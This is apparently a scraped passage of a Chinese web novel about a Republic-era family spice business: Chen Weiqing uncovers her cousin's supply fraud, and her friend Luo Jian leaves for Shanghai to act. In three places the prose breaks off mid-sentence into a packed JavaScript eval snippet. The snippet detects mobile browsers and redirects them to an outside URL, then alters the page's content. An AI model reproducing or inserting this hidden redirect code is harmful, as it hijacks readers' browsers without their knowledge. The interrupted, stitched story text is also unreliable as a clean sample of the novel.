她心口倏地一紧。仓库主管跟她说过:“这一批丁香,前几袋还行,后面那几袋……味淡,压锅压不出香来。” 她回头翻查这批出货去向,目光落在几行字上: 收货人:黄宅内眷 品项:丁香上品(二级分装) 批次:本月第十七、十八号入库袋 数量:50斤 出库人签名:黄青云 备注:应急调拨,急件 她怔住了。 黄家,是调香世家,祖上三代制香,家中香坊有名远近。 尤其那位黄太太——母亲生前亲自接待过多次,说她连香灰落地的形态都能一眼辨别。每回出货都要用“压锅头袋”里的头三袋,因其香气最纯、最沉稳。那几袋香之后再用,便已逊色。 可这次,她收到的,是入库最晚的“尾料”。 “为什么?” 她一字一顿低声问自己,声音压得很低,像是怕站在后面的堂兄听到了。 “为什么头袋香留着不用,偏偏给最挑剔的客户发仓底尾?” 这一点,不合逻辑,甚至……危险。 她脑中闪过另一个人。 ——黄家二小姐,正是堂兄陈闻礼的未婚妻。 她在笔记本上记下,“黄太太,批次:本月第十七、十八号入库袋”简短的一行字,坐直了身体,手指在桌面上轻轻叩着,一阵仿佛不是盛夏的寒意从骨缝里升起来。 她缓缓站起身,回头正好对上堂兄的目光。堂兄已经退后几步,转身要走,似乎不愿继续站在她身后那道光与影交界的地带。 她望着他离开的背影,她没有说话,只将那本账册合上,轻轻地扣在桌上,像扣住一枚火种。 仲夏将尽,陈宅账房后那棵老香樟树落下一地叶子,枝叶簌簌响着,像是旧时光的低语。 陈蔚青拎着小包,沿着后院的石板小径一路走来。她穿得不甚讲究,一件白色的衬衫略有些褶皱。可她的眼神却比任何时候都清醒,目光落在前方,步子不紧不慢,在踏进一场自己的战场。 她推门而入时,账房里只有几位老先生在埋头翻账,一见她进来,几人俱是一愣,有人站起身,客气地叫了声:“蔚青小姐。” 她一一点头,又朝最里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597423|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一位白须老者躬了躬身:“王伯,我来是想请教一件事。” 这位王伯,是陈宅账房里的老人了,年少时是早已去世的陈老爷的伴读,后来又是唐敬微重用,名下掌过四个货号,是账房里话语权最重的人物之一。可母亲病倒后,他就“自请退休”,如今只偶尔来账房坐坐,鲜少过问具体事务。 王伯抬头看着她,目光沉静:“你要问账?” “是。”她坦然道,“不是为了争权,是我想知道……母亲她过去,是怎么掌起整个陈家的。” 一瞬的寂静后,王伯缓缓点头:“你是陈家出来的血脉,唐敬微的女儿,要知道这些,也该有人讲给你听。” 那天她坐在账房听了整整一个下午,她像海绵一样吸收着这些原本属于她母亲的东西。 第二日、第三日,她又去找了其他几位老账房、库房管事、出货老工头,每一位,她都认真听,不抢话,也不争论,只在适当的时候问一句:“那现在这些流程,是不是也还这么做的?” 几位老人起初只是迟疑,到后来,竟开始主动告诉她:“那几年你母亲盯得紧,进货都要亲自过手的……” “现在是你堂哥陈闻礼说了算,流程虽然一样,可没人真盯。” “你要是接回来,我们这些老骨头,还能帮你看看。” 自那以后,消息像是水中的墨一样悄悄晕开,整个陈家开始染上微弱的“陈蔚青色”。 翌日清晨,天色微亮,陈蔚青便起了身,未惊动任何人,独自穿过内院,去了仓库后院的旧香料库。 守库的老仓头姓许,原是母亲当年一手提拔的人,近年却因“眼花手慢”被调去闲职。她在门外敲门,许叔打开门,一见是她,先是惊讶,旋即低声道:“小姐这时辰来,可是……” “我想看看近三个月的丁香库存。”她语气平稳,“还有每一批的进货单、入库记录,还有……那批补货香。” 许叔迟疑了一瞬,还是点点头:“好,您请进。” 屋里堆着成排麻袋,一股压人的香料气息扑面而来,辛香中混着微微霉气。她顺着批次号码,从最早入库的一批开始,逐袋察看。 她带了小刀,一刀刀划开麻线封口,蹲下身抓出一小把麻袋里的香料,用鼻尖轻嗅。最前几袋香气浓郁饱满,是陈家一贯用的上等货色,颜色金红发亮。可越往后——第十四袋开始,香气逐渐发涩,第十七、十八袋,气味更是杂乱,甚至混着一丝草叶的腥气。 “这一批……跟前几袋不一样。”她轻声道。 许叔脸色微动,压低声音说:“后头这几袋,是上个月突然调补的,说是主账不够,要补足再出货。是你伯父亲自交代的,说供应急着要。” “供货是谁?” “叫……‘南昌隆’。”他说出这个名字时,眼神里也有些迟疑,“之前没怎么听过。” 她的手指顿在笔记本上“十七、十八号入库袋”上——并无意外的是,这正是气味最淡、品质最劣的那批香。 而黄家人也没有任何表示?以高价买下这种低劣的香料居然一声不吭。 这一连串的错误只有一种可能的解释:那几袋尾货,并不是发错,而是——专门发的。 她猛地站起,动作迅疾得像一道破空的弦。许叔被她惊得一颤:“小姐?” 她没立刻回答,双眼望着眼前那一排编号清晰的麻袋。 “我的母亲说。” 她的声音忽然静下来,几乎带着一点柔和:“若每次都说一样的数字——那不是做生意,是做文章了。” 说罢,她不再看许叔,而是俯身,从那几袋香料里各取出一撮——头袋、中段、尾货。她小心地包起,每一撮都用干净纱布包裹,再一层层细致地叠入棕色小匣,再把小匣放进包里,动作之缓、之沉静,仿佛不是在装香,而是在安置她即将到来的命运。 纱布轻卷的声音像落雪,一声一声裹紧了她的决心。 她的眼神一瞬未离那小小的包裹——那是她的证据,她的匕首,也是她将要放在股东面前、拆穿假象的“秤砣”。 阳光透过半开的木窗落在她背上,她的影子投在仓库厚重的石地板上,仿佛一块沉默的铁印。 她把笔记本合上,手指捏紧纸张边缘。那是一份账,一把刀,也是一场战役的开篇。 她知道,这不是去质问“谁在动账”,也不是去解释“为何损耗”。她要的,是在所有股东、管理层、族人面前,一刀撕开他们自以为固若金汤的表象。 纸糊的假象,再厚也是纸——碰上一点真火,便会烧个精光。 她转过身,踏出香房,身后留下一屋沉香。那一刻她知道,一场真正的翻盘已经悄悄埋下引线——她要的不是一纸控告,而是在众目睽睽之下,一刀割开他们设下的完美包装。 30. 雷雨 八月初五,申时未至,天却已阴沉沉的,像是有雷未落。 陈家大宅西偏楼的议事厅今日格外整肃。厅中陈设一如往日,靠墙摆着紫檀木案,靠北正中悬着一幅“慎独以治家”的墨匾。东侧墙上嵌着洋人股东送来的镀金时钟,分针已走至刻度“VIII”。 这是陈家每季度一次的股东大会,平时由唐敬微主持,自她病倒以来,便由叔父陈叔云代掌主持之权。 今日到场者,除陈家名义上的家主陈仲云,以及如今真正执掌实权的陈叔云、陈闻礼父子外,还有数位陈家多年倚重的老成干员——大多在账房、货行、通商等事务中任职已久,是支撑陈家内务运转的核心人物。 此外,还坐着两位洋行股东代表:一位来自“罗兹洋行”。另一位则是“普里斯特家族”的远亲,与陈家在南洋时期有旧日生意往来。二人皆衣着考究,神色谨慎,那位罗兹洋行的代表中文略显生硬,但好的是交流尚无大碍。 而角落里一个位置还空着,像是有意迟到,正如这场夏天的惊雷一样。 厅中人各据其位。父亲坐在右席,面色不明,指尖不停摩挲着手边的一页文书。叔父居中主位,神情如常,深色长衫搭配西装马甲,眼底不见波澜,仿佛一切尽在掌控中。他身旁的堂兄陈闻礼,已经习惯了这类场合,衣着笔挺,姿态从容,面对众人频频颔首寒暄,嘴角含着一抹分寸拿捏得极好的笑意。 “各位稍候,蔚青小姐应也快到了。”父亲忽然出声,语气温和,却隐隐带了几分迟疑。 叔父笑着接话:“不急。她若要来,自会来。若不来……也不妨。” 他语调不轻不重,一句无意的随口话,却悄悄画出一道边界。几位股东对视一眼,面色各异。 就在此时,大门外传来一阵清脆的脚步声。 不是快步,不是匆忙,而是一种极稳极轻的节奏,仿佛每一步都经过计算。 下一秒,门被仆人推开。 陈蔚青走了进来。 她穿着一身深青色旗袍,剪裁干净,脚步从容。手里只拎着一个素色小布包,一看就知道,沉甸甸的,装着不寻常的东西。 众人不约而同地望向她。 叔父眉梢一动,闻礼的微笑微微收紧,父亲则似有所觉,身子向前倾了倾,仿佛终于要从被动旁观中抽身。 厅中人未言,钟表轻响。 陈蔚青在那个空位落座,轻轻放下手中的布包。她抬眼一望,众人神色尽收眼底——熟稔的,戒备的,漠然的。她心中却无波澜,仿佛这一幕她早已演练无数遍,只等这一刻的“开场锣声”。 “既然人到齐了,”叔父陈叔云微笑开口,举手示意账房呈上报表,“我们照例,先说上季账目。” 账房几名年轻伙计躬身上前,将厚厚几叠账本、报表依次分发至各股东席前,香签还带着烫印痕迹,散出微微油墨气味。 “本季香料出口较前一季略升八点四,尤其是特级丁香出货数破历史记录。”堂兄陈闻礼接过话头,笑道,“我们在三月确立了南昌隆为新合作方以来,货路顺畅、运价平稳,利润也有所回升。” 他话音一落,罗兹洋行代表的布鲁克先生点头附和,用半生不熟的中文慢吞吞说:“Yes,这个合作,是……wisedecision,wisedecision。” 股东席一时间一片附和之声,气氛稳稳朝“会议例行结束”那个熟悉方向推进。 陈闻礼翻开下一页报表,话锋一转:“此外,下季度我们打算扩大与‘南昌隆’的合作。对方愿意提供长期低价供货合同,且愿承担部分运输成本。” “从财务角度看,这无疑是稳中求进的策略。”他说得不疾不徐,语气带着成竹在胸的平稳自信,“这一点,我想在座几位洋行代表,也都会认同。” 布鲁克先生笑着点头,普里斯特家族的那位代表则只是微微一耸眉,似是听懂了,又似还在咀嚼言语背后的含义。 堂兄话音刚落,厅中忽然传来一声轻咳。 众人循声望去。 是王伯。那位久居幕后、被视作“已退之人”的账房老先生,是王伯——那位久居幕后、被视作“已退之人”的账房老先生。原本今日并无他出席之份,然而因陈家现任账事主理以“身染微恙”为由请辞席位,便由王伯代为赴会。他手里不紧不慢地翻着一本旧账,目光落在账页上,语气却极平静地道:“‘南昌隆’这行,我听都没听过。” 这句话说得不重,却像一颗石子落入平静的湖面。 厅中顿时微微一静。 陈闻礼笑容未变,微一颔首道:“王伯年岁大了,未必听过这几年新起的行号也是常情。况且我们与他们目前合作顺利,未有一事失误。” “哦?”王伯手指摩挲着账页,头也不抬,“未有一事失误?” 他抬起眼,望向闻礼,语气仍旧平和,“可我记得老陈家规矩,供货商起用,须有两人担保、账房监核,方能录入主账。此例,改了吗?” 闻礼微不可察地顿了顿,片刻后缓声道:“眼下局势不同,老规矩未必合时。” 陈蔚青却缓缓站起,语调清冷如霜:“未必合时,还是未必合你所需?” 她先看了一眼王伯,眼神里有一丝笃定的致意。然后,她转向全场。陈叔云此时终于抬眼,看向她,好像再看一个从没见过的陌生人。 “诸位,我并无冒犯之意。”她站起身来,轻巧地将布包缓缓推至桌中央。 “只是既然谈到‘合作方’,我想补交一份资料,供诸位参考。” 她眼神在场中一扫,落定在洋行两位代表身上,语气忽然变得极其沉静而清晰,语调也刻意放缓,像是怕他们听不懂一样:“——因为,这批货里,出了问题。” 她话音落下,厅中一瞬鸦雀无声。窗外突然一道惊雷划过,然后下起瓢泼大雨来。 陈叔云眉头微皱,神情未变,只缓缓吐出一个字:“蔚——” 他尚未出口第二个字,父亲陈仲云忽然出声打断:“我倒是认为,听听也无妨。” 声音不大,却稳稳地盖过了叔父的话。 陈叔云转头,第一次露出明显的错愕,盯着自己这个一向不管事的兄长。他眯了眯眼,声音压得极低,像蛇信穿过牙缝:“你这个……靠女人的软蛋,倒真是会藏牌。以前靠敬微,如今敬微倒了,又靠起女儿来了?” 陈仲云不动声色地回望他:“我不太明白你在说什么。” “你当然不懂。”陈叔云几乎咬牙,声音仍低,“我才是最像大哥的人。你不过是个只会写诗写情书、在洋行送酒瓶子的浪荡子——你还真以为陈家是传给你的?要不是大哥意外早逝,你怎么能坐在这里?” 陈闻礼听到这话,神情一震,似想拦,未能及时开口。陈蔚青却轻咳一声,打断两人。 她声音不大,语调却稳稳地插入了空气之中,划开这一场家族内部的龌龊纷争:“伯父,还请自重。” 她抬眼,眼神冷静:“股东大会,是议事之地,不是陈家长辈的比高会场。” “再者,若真要比,我还真不怕丢这个脸。” 她站得笔直,语调平稳,却带着一种极锋锐的棱角,一字一句都不带火气,却胜似火焰。 “因为我敢把账摊开了讲。” 她扫视众人:“而不是藏在香料袋底下,让别人去替你们吃亏。” 雨声越来越大,所有人都望向那个站在桌前的年轻女子。 陈蔚青轻轻拉开那只素布小包,指尖极稳,像是演练过无数遍的动作。 她先抽出一张油纸包好的账页,平铺在桌面上,压角用的是陈家账房专用的墨玉镇纸。 “这是过去三个月,丁香入库与出货的账目。”她语气平静,“账上写着每月固定结余五十斤损耗,各位可以看看。” 她指了指最上面的一行: 入库:1200斤,出货:1150斤,结余:50斤。 “这样的记录,从四月、五月、六月——一直到上周,都是一模一样。”她翻开下一页,指尖落在那一串整齐得近乎机械的数字上,“每一次损耗,都是‘刚刚好’的五十斤。” 她抬头看了一眼众人: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“黄太太的‘极品丁香’一向由我们最早入库的头香‘压锅’制成。”她语速忽然加快,“可这次,她所收那批丁香,在仓库登记里,是‘第十七、十八批次’——也就是最晚入库,品质最劣、香味最淡的那批。” “为什么要把最次的香,发给最挑剔的老客户?” 她看向陈闻礼,语气平静,“黄家是你未婚妻那边的亲戚,这批货,是你亲自安排发出的。” 陈闻礼强撑着镇定:“这只是调货上的误差——” “你亲自盖的章,我手里有副本。”她抬手,啪地一声,将一份盖有陈闻礼私章的货调批文摊在桌上。 “你以‘补货名义’引入劣货,混入出货,再以新供应商之名虚高价格,回流账外货款。损耗从未存在——它只是你隐匿货差、私设阴账的遮羞布。” 她语调陡转,目光凌厉如刀:“你们打着‘稳中求进’的名头,把陈家百年声誉当成你自己圈钱的跳板——你可知道,一旦被查,我们将无法再向南洋输出任何一批香料?” 全场死寂。 那位布鲁克先生慢慢放下香包,轻轻说了句:“Thisis...serious.” 陈叔云猛然起身,喝道:“你胡说!你一个黄毛丫头,也敢在这放肆污蔑——” “那就请叔父解释。”她转头,淡淡道,“为何账目上的‘审查批文’,都是以您的名义批下的?” 话音一落,桌上的几份文件又被推到众人面前。 陈仲云这时缓缓开口,声音如钟:“账盖的章,是你陈叔云的字。你还要狡辩?” 陈叔云脸色铁青,喉头动了动,却说不出一句。 王伯此时缓缓起身,低声却字字分明:“我提议——即刻中止与‘南昌隆’的一切合作。” 另一位老账房也起身:“我附议。” 一位管货的老先生站起:“蔚青小姐既能查出此事,应予权责——主持后续内务整顿。” “我附议。” “我附议。” 厅中一时间声音此起彼伏。 她静静站着,望向众人,声音清亮,毫无颤意:“我愿担此责。” 她顿了一下,望向叔父与堂兄:“也必须。” 31. 日落大道 陈宅内院的草早晨被水气洗过,绿得发亮。账房重新启封,陈蔚青站在窗前,看着屋里几个老账头正围着一张摊开的图纸讨论。 这是她接手后的第一项改革:废除“固定损耗”模板制度,所有货品入库需核实实重,并引入“双人覆核”与“突击抽检”制度。同时,她调回了几位曾被冷落的老账头,许叔和王伯等人也被正式重新启用。 她越来越忙碌了,她想起一年前父亲对沈时砚说:“Uneasyliestheheadthatwearsacrown.” 用中文来讲,就是“高处不胜寒”,她那时只是听听,没想到最后这句话没有落在沈时砚身上,而是落在了自己身上。 但她还是会忙里偷闲地与朋友们小聚,有时在街头的小店,有时在糖水铺,但更多的时候还是在纱厂那个锅炉房。 这天他们一行人正聚在后院的小亭子里乘凉,石桌上搁着几杯还未喝尽的凉茶,蝉声在树影之间断断续续地响着。傍晚的风从墙角穿进来,吹动亭角悬着的风铃,发出几声清脆的响响。 罗简坐在廊边,手里摊着一张才买来的报纸。那张纸张略显泛黄,纸角有些卷了,似乎是被拿在手上一直看,她一直盯着中间那张照片—— 照片里是一个穿淡金色旗袍的女子,站在上海某剧院的灯海中。她并未摆出那种惯常的“明星笑”,而是略微偏头,眉眼清冷,像一朵绽在风里的白蔷薇,反而让人移不开眼。 照片下方是一行标题:“《梦回梨园》热映,平民影后赵清茹三日三夜未眠,只为演好‘晴雯撕扇’一场戏。” 罗简像被什么绊住了一样,一动不动地盯着那张脸看了很久。 “她以前住在天津那边,一家人跟人借住棚户房。”她忽然开口,声音有点低,像在跟谁念一段不属于自己的过往,“她以前在天津唱的梅花大鼓,三毛一场。后来自己买了车票去了上海,一年唱戏,两年演戏,三年就成了电影里最当红的女角之一。” 她合上报纸,抬起头,眼神明亮得好似猛地撞上阳光。 “我想去上海。”她说。 亭中骤然一静。 那语气不是玩笑,也不是一时兴起的撒娇,而是那种藏不住的认真,好像有一颗冒着热气的石子落进井里,激起一圈圈回音。 “我不是胡说。”她坐直了身体,继续说,“你们知道吗?我看到报纸上对她的评价,说她以前唱大鼓的时候,唱到‘是墨是泪两不分明’那句的时候,眼睛都红了。但底下的人,就那么看着,连掌都不敢拍,像是怕吵了她。” “我想试一试。”她的声音更轻了些,却更稳,“不是非得变成她,可我不想一辈子…我不想有遗憾。” 沈时砚沉默了一会儿,抬起头笑了一下,笑容带着点风霜过后的暖意:“你去,我们支持你。” 蔚青放下茶杯,静静地望着她:“你不是一时冲动?” “不是。”罗简答得极快,语调轻得像羽毛,却毫无迟疑。 蔚青握住她的手,点点头。 这时,亭子里所有人的目光,不约而同地落向罗炽南。 他低头摆弄着手边的杯盖,那杯子已经空了很久,可他仍一圈圈地拨着,像在等一阵不会来的风。良久,他才低声说了一句:“你要走,就走吧。” 语气平平,没有反对,也没有祝福,如一扇被轻轻带上的门——没有响声,却隔绝了什么。 罗简望着他,张了张口,像是想说什么,终究没说。只是轻轻把报纸叠好,像收起一张通往远方的船票,放进了怀里。 夜深了。 永丰纱厂静得像沉入水底。只有旧锅炉房的窗纸被风吹得轻轻颤了两下,像是谁轻敲过夜的门。 罗简推开门,手里捏着一条纸带。 她脚步极轻,怕惊动这间屋子过去曾燃烧过的回音。空气中仍残留着香料混着铁器的气味,她打开门,那台机器还静静地立在原处,像一个守夜的巨人,沉默又坚定。 她走过去,拿起桌子上的打孔机,准备给写满问题的纸带打孔。 她看着第一个问题。 你觉得你是否有能力做成这件事? 她手指顿住,眼前浮现的是赵清茹在银幕上含泪唱“晴雯撕扇”的那一幕。又想起黎婉芝还在南州时她们三人一同去看电影——“茜茜与皇冠”,电影结束后,她为她的两个朋友唱起电影里的那支歌,蔚青对她说:“跟电影里面一模一样”。黎婉芝伸手抱住她,对她说:“阿简,以后你一定要演电影。” “当然!你之前不是说了吗,你想演,而且你可以的!”她回想着,婉芝当时好像是这样说的,“那就够了。” 她轻轻咬牙,打孔:“是。” 你是否愿意为这件事放弃一切? “是。”她几乎没犹豫。那是当然。 你要做的这件事,会被你的家人所接受吗? 她想起炽南那低垂着眼、反复拨弄手上的杯子的样子,想起他的沉默。那沉默里,有太多她听不懂的东西。 “不是。”她打下了那个孔。 如果没有人理解你,你还会坚持下去吗? “是。” 如果做这件事会让你伤害别人,你还会做吗? 她的指尖顿住了。 “但是……不会伤害别人的。”她在心里对自己说。 “否。” 如果你失败了,你还会承认它是对的吗? 她忽然笑了一下,声音很小,却真切。 “是。”至少她不会后悔。 如果你必须违背某些原则才能完成它,你会接受吗? 她愣了一下。 什么是“原则”?是谁的“原则”?她不知道。 但她天真地选了:“是。” 你是否相信,这件事只能由你来做? “是。” 如果这件事永远不会被承认,你还会去做吗? 她深吸一口气,“是。” 你愿意为这件事隐瞒你真正的想法吗? “是。” 纸带已经打满,她把它放进机器,机器开始缓缓读入,传动轴转动的声音像心跳一样一下一下响着。 几秒后,打字机“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608806|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哒”的一声,打出一句话。 只有两个字—— 去做。 那字还是印得有点歪,但每一笔都很实。 罗简看着那句话,怔了几秒,然后嘴角轻轻翘起来。 她小心地将纸条抽出来,叠成一寸宽的小方块,藏进衣服口袋里。 那不是一个答案,那是一封命运写给她的信。 她站起身,轻轻抚过机器的壳体,就像感谢一个无言的朋友。 走出锅炉房时,她回头望了一眼,夜色中,屋子静默如初,风吹动门槛下的一截纸角,仿佛还在回响那两个字。 去做。 翌日清晨,阳光穿过锅炉房斑驳的窗棂洒落一地,像是昨天夜里的那场“天光大梦”从未结束。陈蔚青、沈时砚和罗炽南又在锅炉房忙里偷闲。蔚青在跟朋友们抱怨着管理陈家生意遇到的麻烦事,又问沈时砚往北平的大学寄过去的信有没有回复,什么时候兑现要给罗炽南的位置。 这时罗简拎着包,突然跳进房间里,一脸神秘地对说:“你们昨晚在干嘛呀?我可是干了一件大事!” 她从口袋里掏出那张纸条,展开给大家看。纸上只印着两个字:去做。 “我昨晚去问了机器。”她语气轻快,像在说一场恶作剧,“它居然还真回我了。” 蔚青接过那张纸,怔了一瞬,低声问:“你问了什么?” “就是…很多问题。”罗简没有细说,但大家都知道,除了去上海的事,还能有什么,“但总归,答案是‘去做’。” 说着,她从包里拿出一张折得整整齐齐的船票,晃了晃:“我已经买好船票啦,上海的船,下周一早上开。反正……就去看看嘛。” 沈时砚严肃地盯着她:“你想清楚了?” “那当然!”她一屁股坐在木椅子上,晃着腿,“你们都在做你们觉得对的事情,我也想试试我自己的。” 她顿了顿,又看向他们三个,眼睛里有一点点亮亮的东西:“不过我会给你们写信的!要记得回我,不准谁装忙不回!” “还有,我要上报纸啦,说不定改天你们在南州的报亭就能看到‘从锅炉房走出的新星’,你们可得捧场啊!” 她说得很快,很轻松,嘴角上扬的弧度几乎和以前一样。但说到最后,她又低了低头,小声说了一句:“……也许,我这辈子就做这一次冒险的事了。” 蔚青走过去,轻轻抱了她一下:“你不是冒险,是出发。” 沈时砚拍拍她的头顶:“带上那张纸条,它说得没错。” 罗炽南一直没有说话,他叹了一口,又抬起头对罗简挤出一个笑,从口袋里掏出一包花生糖,递给她:“信要一周写一次,到了就把地址给我,我给你寄钱。” 她接过花生糖咬了一口,嘟囔着:“还是哥对我最好——但钱你还是留着吧。” 临走前她还回头看了一眼锅炉房,笑着朝他们挥手。 “我先去做准备啦,等你们来找我——别太久!” 阳光落在她发梢上,一闪一闪,这群人青春的某一个角,开始悄悄生出离开的光。 32. 方向 民国二十年十月,北方的天已转凉,而南州的雨季仍未止歇。陈宅后院的月季花被连日阴雨打得东倒西歪,泥地上满是花瓣残叶。陈蔚青站在窗前,看着水珠顺着檐角滑落,滴在石阶上,像是节奏凌乱的鼓点,敲在心头。 桌上摊着一摞报表,是这两个月香料铺的销售清单——空白多得惊人。 “日本人的东和商社香料大量倾销,价格压到市价三成以下,已经压得几家小行号关门。”王伯皱眉说道,声音不高,却重如石落,“若再不应对,我们年底可能连账面都撑不住。” “东和那边怎么说?”她低声问。 “今天上午,他们托人送了口信。”王伯将那封薄薄的信摊在她面前,“说可以合作——由他们统一定价,我们来做渠道分销。” 陈蔚青没有立刻说话,只盯着那信纸半晌。 那上面写得清清楚楚:“贵方若愿与东和商社通力合作,本社愿以稳定价格供货,且承担部分关税、运输事宜,唯贵方需确保不对外出售自家香品。定价、宣传及包装,皆由本社统一设定。” 她盯着那行“皆由本社统一设定”时,眼皮微跳了一下。 “这不是合作,”她轻声道,“这是投降。” 空气一时凝滞。 王伯低低叹了口气,没有接话。 屋外雨势未歇,门外忽然响起叩门声。 “小姐。”女佣阿凤推门探头,“刚收到一封信,是从上海来的。” 蔚青一愣,忙接过信——是罗简寄来的,是她去上海之后的第一封信。 信封微湿,纸张泛着潮气,一看便是路上经了好些波折。她小心拆开,展开信纸,罗简跳脱稚气的字迹映入眼帘: 蔚青姐: 我真的到了!是真的! 你还记得我们一起看电影的时候我说的吗?我说“要是我能演哪怕一秒钟的那种角色就好了”——我现在在这里了,在上海,在那个他们都叫“冒出来就可能发光”的地方! 现在我和六个姑娘住在法租界边上一条小街上,一起挤在一间小屋里,屋子不大,走路都要侧着身,但我睡在窗边,窗户打开的时候,可以听到街对面的留声机在放曲子。还有人在唱洋歌,我去问,唱歌的那人说这首歌叫“日升之屋”。楼下是一个卖糖炒栗子的摊贩,晚上睡前还能闻到香味。 我睡靠窗那张床。床头那堵墙有点花了,可一抬眼能看到一点点黄浦江的光。每天早上天还没亮我就醒了,看着那一小块水光一点点从灰白变成银色,我都觉得自己是做梦。 我每天都去剧组跑龙套。第一天我穿得不合适,被场务骂了,还摔了一跤,膝盖青了一大块。第二天紧张得把台词念错,导演让我站到最角落。可第三天,有个副导演跟我说:“你长得挺漂亮的。” 他说他记得我的名字。 我听到那句话的时候,心跳得像要跑出嗓子眼。我知道这也许什么都不代表,但我还是忍不住觉得……是不是我真的离那个“可以被看到的自己”近了一点点? 我每天都很累。有时候连饭都顾不上吃,就在巷口买一碗三分钱的馄饨,一边走一边吃,吃到一半还得赶快跑过去候场。 但我不怕累。我在这里,好像每一步走出去,都是真的离梦想近了一点。 也许过几天我还得演死人,还得被人喊来喊去、穿别人的鞋、念别人的话,可我还是觉得开心。 有的时候,有人在街口晒衣服,阳光打在那些旧戏服上,风一吹,它们就像真的活起来了。那一刻我觉得——我也可以。 我不知道我会不会成功,也不知道是不是终究只是个梦。但我想试试看。 蔚青姐,我会一直写信给你们的,婉芝姐在法国,我不知道怎么往西洋寄信,如果你写信给她,记得一定要转告我的事。 你们要保重,还有,帮我照顾哥哥,如果有一天我的名字真的被印在银幕上,我一定先写信告诉你们。 罗简 民国二十年·上海 信读完时,已是傍晚。 天色压得低沉,像是要落雨,东风从窗缝灌进来,吹乱了桌上的香料账页,也吹皱了她本就不安的心绪。 桌灯未点,屋子里昏暗一片,只有那封信——那封带着少女笔迹与糯米浆味道的信纸,在阴影中亮得近乎柔和。 蔚青将信折好,放进抽屉,动作轻得像是怕惊扰了什么。 她坐了一会儿,盯着那抽屉出神。 这些天来,她一直陷在一团沉闷的漩涡里。 东和商社的货单一张张送来,香料库存像积水一样堆着不动,账本上的数字越来越难看,连那位素来支持她的王伯,近日说话都带上了几分含糊。 有人开始低声说,是不是要换条路;有人说,合作也未必不是条生路。 她压住一切情绪,日复一日地翻账、见人、试香料,每一件事都做得不差分毫,可就是觉得,心里有块地方,越来越像捂久了的湿布,发着闷气,又无处挥洒。 ——直到这封信。 那些夹杂着馄饨味、街巷风和落日光的字句,就像是从上海吹来的一阵风,把她心底那口蒙尘的井盖轻轻掀开了一点。 “她真的在走她自己想走的路啊……”她喃喃道。 这一刻,她忽然想找个人说话。 不是在账房,不是在货号,不是那些日常生活里需要小心翼翼分寸拿捏的地方。 而是一个可以安静坐下来、不用解释、不用防备的地方。 她拿上抽屉里的信,披上外套,拿起雨伞,脚步轻巧地穿过廊下,掠过微湿的青砖地面,越过一盏昏黄的光,在夜色中轻轻敲响了梁悯初的门。 她在门口等着,脚步声越来越近。上次站在这里,是什么时候了呢。她想不起来了。 “谁?”门内传来一声温和的询问,声音不高,带着惯有的沉静,像是从书页间飘出来的音节。 她顿了一下,说:“是我。” 门后沉默了一瞬,紧接着,“咔哒”一声,门开了一条缝。 梁悯初探出身来,一身居家的素灰布衣,眼神里带着刚从书页中抽离出来的微微惊讶。 “蔚青?”他声音很轻,仿佛怕惊扰了什么,“这么晚……出什么事了吗?” 她抬起手,举了举那封信,脸上浮起一丝勉强的笑:“罗简寄来第一封信,我觉得你应当想…知道…” 梁悯初怔了一下,随即微微点头,没有多问,只温和地侧身让出一条光影斜斜的路。 “进来吧。” 她走进去的时候,他顺手把门轻轻带上,动作一如既往地克制、安静。她顺着他指的方向往里走,进了他的书房,屋内灯光柔和,书桌上摊着一本翻开的小册子,墨迹未干,笔仍横在一旁的砚台上。整间屋子带着纸张、墨香与夜色混合的清冷气息。 她低声说了句:“打扰了。” 他回以一笑,眼神温润,仿佛从来没有将“打扰”两个字当真。 她在靠窗的木椅上坐下,手指还轻轻握着那封信,像是握着一只漂洋过海的小灯笼。 他没有追问她更多,只是温和地搬来书桌旁边的椅子坐到她对面,一如既往地等她先开口。 她忽然觉得,自己确实不是为了信来的。 她把信展开,递过去。 “你看看。”她说。 他接过,低头看起来。室内安静下来,只余下信纸微微翻动的声音。字迹些歪歪扭扭,像是写信的人太急、太紧张,又不愿让任何一个字模糊。 他原本温和的神色忽然轻微一变,眉眼之间一闪即逝地紧了紧。他低声念了一句什么,像是自言自语—— “日升之屋……” 陈蔚青抬起头:“什么?” 他仿佛一时没有反应,指尖却微不可察地紧了一下那张纸边。片刻后才抬头,语气平缓地摇了摇头:“不,没什么。” “可您刚刚……”她皱眉,“您脸色也不太好看。” 梁悯初顿了顿,似乎意识到自己露了神色,目光一转,轻声道:“我只是……突然想起一首民歌。” “就是她信里这首歌,在英美那边流传的,叫TheHouseoftheRisingSun。”他将信纸叠好,放在茶几上,语气轻描淡写,“歌词是有点荒唐的,不过曲子倒还好听。 说完,他便自然地转了话题:“你在担心她吗?” “担心……也有点羡慕吧。”她轻声说。 “这很像你。” “是啊。”她低声应着,“我羡慕她。她觉得一切都可以靠奔跑靠努力,觉得戏路总会打开,生活总会变得更大……可我这边,就像被罩在一个罩子里——” 